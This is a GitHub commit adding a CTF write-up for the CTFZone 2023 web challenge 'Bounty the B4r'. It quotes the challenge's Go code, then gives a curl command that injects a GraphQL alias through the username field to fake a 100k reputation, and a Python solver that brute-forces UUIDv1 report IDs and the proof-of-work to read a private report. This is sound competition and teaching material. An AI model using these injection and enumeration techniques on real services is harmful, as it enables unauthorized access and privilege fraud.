Skip to content

Commit d915222

Browse files
j4ckson4800es3n1njackson4800
authored
docs(ctfzone): add Bounty-the-b4r
* ctfzone-23 Bounty-the-b4r * Fixed typos --------- Co-authored-by: Arsenii es3n1n <[email protected]> Co-authored-by: jackson4800 <[email protected]>
1 parent 57b7a77 commit d915222

File tree

2 files changed

+212
-30
lines changed

2 files changed

+212
-30
lines changed

ctfzone23-web-bounty.md

Lines changed: 212 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,212 @@
1+
---
2+
title: "ctfzone23 web/Bounty the B4r"
3+
publishDate: "13 Aug 2023"
4+
description: "Author: cpp.dog"
5+
tags: ["web", "ctfzone23"]
6+
---
7+
8+
#### Description
9+
BB stands for Bounty the B4r. Our highly skilled specialists developed the best BB platform ever with a magnificent UI design. We’re waiting for you to report cool findings and let us pay you some $$ or chocolate
10+
11+
#### Code inspection
12+
Here's the most important code of our challenge.
13+
14+
`golang/db/database.go`
15+
```golang
16+
func (db Database) InitFlagReport(flag string) error {
17+
...
18+
program := BBProgram{
19+
ID: prUUID.String(),
20+
Name: "CTFZone Private Program",
21+
Type: ProgramTypePrivate,
22+
}
23+
24+
res = db.Impl.Create(&program)
25+
if res.Error != nil || res.RowsAffected != 1 {
26+
return fmt.Errorf("error inserting program to the db: %v", res.Error)
27+
}
28+
29+
_, err = db.CreateReport(
30+
"Very Secret Report~",
31+
"Flag: "+flag,
32+
program.ID,
33+
"Critical",
34+
"CWE-1",
35+
7446744073709551610,
36+
)
37+
...
38+
}
39+
```
40+
41+
`golang/controller/program.go`
42+
```golang
43+
func (s *server) PostProgramPUuidJoin(w http.ResponseWriter, r *http.Request, pUuid uuid.UUID) {
44+
...
45+
if bbProgram.Type == ProgramTypePrivate && user.Reputation < 100000 {
46+
api.HandleError(fmt.Errorf("low reputation, try harder"), w)
47+
return
48+
}
49+
...
50+
}
51+
```
52+
53+
`golang/controller/report.go`
54+
```golang
55+
func (s *server) GetReportRUuid(w http.ResponseWriter, r *http.Request, rUuid uuid.UUID, params api.GetReportRUuidParams) {
56+
...
57+
if bbProgram.Type == ProgramTypePrivate {
58+
var progMembers db.ProgramMembers
59+
result = s.db.Impl.First(&progMembers, "user_id = ? AND program_id = ?", userID, bbProgram.ID)
60+
if result.Error != nil || result.RowsAffected != 1 {
61+
api.HandleError(fmt.Errorf("you're not a member of this program"), w)
62+
return
63+
}
64+
}
65+
...
66+
}
67+
```
68+
`golang/controller/user.go`
69+
```golang
70+
const userDataQery = `query {
71+
user(username: "%s") {
72+
id
73+
username
74+
name
75+
intro
76+
reputation
77+
rank
78+
}
79+
}`
80+
...
81+
func verifyValidator(v string) bool {
82+
m, err := regexp.MatchString("^[a-zA-Z0-9=]{30,40}$", v)
83+
if err != nil {
84+
return false
85+
}
86+
if m {
87+
return true
88+
} else {
89+
return false
90+
}
91+
}
92+
93+
func (s *server) PostUserImportReputation(w http.ResponseWriter, r *http.Request) {
94+
...
95+
postBody, _ := json.Marshal(map[string]string{
96+
"query": fmt.Sprintf(userDataQery, *req.Username),
97+
})
98+
resp, err := http.Post("https://hackerone.com/graphql", "application/json", bytes.NewBuffer(postBody))
99+
...
100+
if rd.Data.User.Intro != *req.Validator {
101+
api.HandleError(fmt.Errorf("incorrect validator"), w)
102+
return
103+
}
104+
```
105+
Looks like we need to abuse GraphQL injection for something, let's take a look at hackerone's response for a random h1 user.
106+
107+
```bash
108+
curl -X POST -d `{"query": "query { user(username: \"d0xing\") { id username name intro reputation rank } }"}` -H "Content-Type: application/json" https://hackerone.com/graphql
109+
110+
111+
{
112+
"data": {
113+
"user": {
114+
"id": "Z2lkOi8vaGFja2Vyb25lL1VzZXIvOTY1NTA=",
115+
"username": "d0xing",
116+
"name": "d0xing",
117+
"intro": "",
118+
"reputation": 103907,
119+
"rank": 2
120+
}
121+
}
122+
}
123+
```
124+
125+
The `id` field looks like it can be used as a `validator`, so we can abuse this to get 100k rating on the target site.
126+
127+
```bash
128+
curl -X POST -d '{
129+
"username":"d0xing\") { intro:id username reputation rank } u:user(username: \"d0xing",
130+
"validator": "Z2lkOi8vaGFja2Vyb25lL1VzZXIvOTY1NTA="
131+
}' \
132+
-H "Content-Type: application/json" \
133+
-H "Authorization: Bearer [REDACTED]" \
134+
https://bounty-the-b4r.ctfz.one/api/user/import_reputation
135+
```
136+
137+
Now we can join `CTFZone Private Program` program without problems. Our new task is to find the report id. The only thing we know is the uuid of programs, and the time report was generated.
138+
139+
```json
140+
[
141+
{
142+
"id": "ad1cec14-3830-11ee-b365-0255ac100030",
143+
"name": "CTFZone Private Program",
144+
"programType": 1
145+
},
146+
{
147+
"id": "ad1d822a-3830-11ee-b365-0255ac100030",
148+
"name": "Hooli Public BB Program",
149+
"programType": 0
150+
}
151+
]
152+
153+
{
154+
"published": 1691749220902427748,
155+
"severity": "Critical",
156+
"title": "Very Secret Report~"
157+
}
158+
```
159+
So, we need to iterate over the v1 uuid between `ad1cec14-3830-11ee-b365-0255ac100030` and `ad1d822a-3830-11ee-b365-0255ac100030`, but checking each id is not possible due to proof of work. Let's check how uuids are created.
160+
161+
```golang
162+
// A Time represents a time as the number of 100's of nanoseconds since 15 Oct 1582.
163+
timeLow := uint32(now & 0xffffffff)
164+
```
165+
166+
Since we know the report creation time in nanoseconds, we can easily reduce the search range.
167+
168+
Corresponding uuid v1: `ad1cec14-3830-11ee-b365-0255ac100030`. Now we are ready to get the flag.
169+
170+
#### Solver code
171+
```python
172+
import hashlib
173+
import requests
174+
import json
175+
176+
ALPHABET = "".join([chr(i) for i in range(32, 128)])
177+
178+
FROM_UUID = int("ad1cec14", base=16)
179+
TO_UUID = int("ad1d822a", base=16)
180+
SUFFIX = "-3830-11ee-b365-0255ac100030"
181+
182+
def get_pow(pref, hash):
183+
for c in ALPHABET:
184+
for c1 in ALPHABET:
185+
for c2 in ALPHABET:
186+
for c3 in ALPHABET:
187+
if hashlib.md5((pref + c + c1 + c2 + c3).encode()).hexdigest() == hash:
188+
return (pref + c + c1 + c2 + c3)
189+
return None
190+
for N in range(FROM_UUID, TO_UUID):
191+
s = requests.get("https://bounty-the-b4r.ctfz.one/api/user/info", headers={
192+
"Authorization": "Bearer [REDACTED]"
193+
})
194+
data = s.json()
195+
196+
pow = get_pow(data["pow"], data["md5"])
197+
198+
url = f"https://bounty-the-b4r.ctfz.one/api/report/{hex(N)[2:]}{SUFFIX}?pow={pow}"
199+
print(f"Trying {url}...")
200+
201+
r = requests.get(url, headers={
202+
"Authorization": "Bearer [REDACTED]"
203+
})
204+
205+
if r.status_code == 400:
206+
continue
207+
208+
print(json.dumps(r.json(), indent=4, sort_keys=True))
209+
```
210+
211+
#### Flag
212+
`CTFZone{b0un7y_th3_b4r_th3_t4st3_0f_bug5}`

rev-something.md

Lines changed: 0 additions & 30 deletions
This file was deleted.

0 commit comments

Comments
 (0)